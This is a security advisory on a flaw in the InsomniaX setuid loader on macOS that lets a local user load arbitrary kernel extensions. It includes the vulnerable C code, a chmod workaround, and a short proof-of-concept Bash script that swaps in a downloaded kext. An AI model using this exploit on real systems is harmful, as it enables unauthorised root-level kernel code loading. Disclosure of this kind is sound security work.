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InsomniaX loader allows loading of arbitrary Kernel Extensions
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Yorick Koster, April 2017
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Abstract
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It was found that the loader application bundled with InsomniaX can be
used to load arbitrary Kernel Extensions (kext). The loader is normally
used to load a kext file that is needed to disable the Lid Sleep. A flaw
has been found in the loader that allows a local attacker to load (or
unload) any arbitrary kext file.
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See also
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- http:
- http:
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Tested versions
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This issue was successfully verified on InsomniaX version 2.1.8.
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Fix
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There is currently no fix available. The author of InsomniaX reports
that InsomniaX is no longer supported. As a workaround, remove the
setuid bit from the loader file. Doing so will prevent users from
disabling the Lid Sleep.
sudo chmod u-s /Applications/InsomniaX.app/Contents/Resources/loader
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Details
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https:
This issue exists because InsomniaX tries to load the kext file form the user's home folder. When started the loader first changes the owner of the kext file to user root and group wheel. This is required or else the kext loader will refuse to load the kext. After changing the owner, loader will call kextload with the path set to the kext located in the user's home directory. Replacing InsomniaX' kext with a different one will cause the loader to load this kext instead.
struct passwd *pw = getpwuid(getuid());
char *homedir = pw->pw_dir;
char *supportPath = strcat(homedir, "/Library/Application Support/InsomniaX");
const char *kextPath = strcat(supportPath, "/Insomnia_r11.kext");
switch(myCommand->authorizedCommandId)
{
case kMyAuthorizedLoad: {
if(fork() == 0) {
#ifdef DEBUG
fprintf(stderr, "CHOWN\n");
#endif
dup2(2,1);
execl("/usr/sbin/chown", "chown", "-R", "root:wheel", kextPath, NULL);
}
else {
wait(&status);
if(fork() == 0) {
#ifdef DEBUG
fprintf(stderr, "KEXTLOAD\n");
#endif
dup2(2,1);
execl("/sbin/kextload", "kextload", kextPath, NULL);
}
This issue can be demonstrated using the following steps:
- start InsomniaX
- run the Bash script below
- click on the InsomniaX icon in the menu bar and select Disable Lid Sleep
- run kextstat -l -b com.google.MacPmem to check if the kext is loaded
#!/bin/bash
mv ~/Library/Application\ Support/InsomniaX ~/Library/Application\ Support/InsomniaX.O
mkdir -p ~/Library/Application\ Support/InsomniaX
cd ~/Library/Application\ Support/InsomniaX
curl -L https:
unzip osxpmem-2.1.post4.zip
mv osxpmem.app/MacPmem.kext/ Insomnia_r11.kext
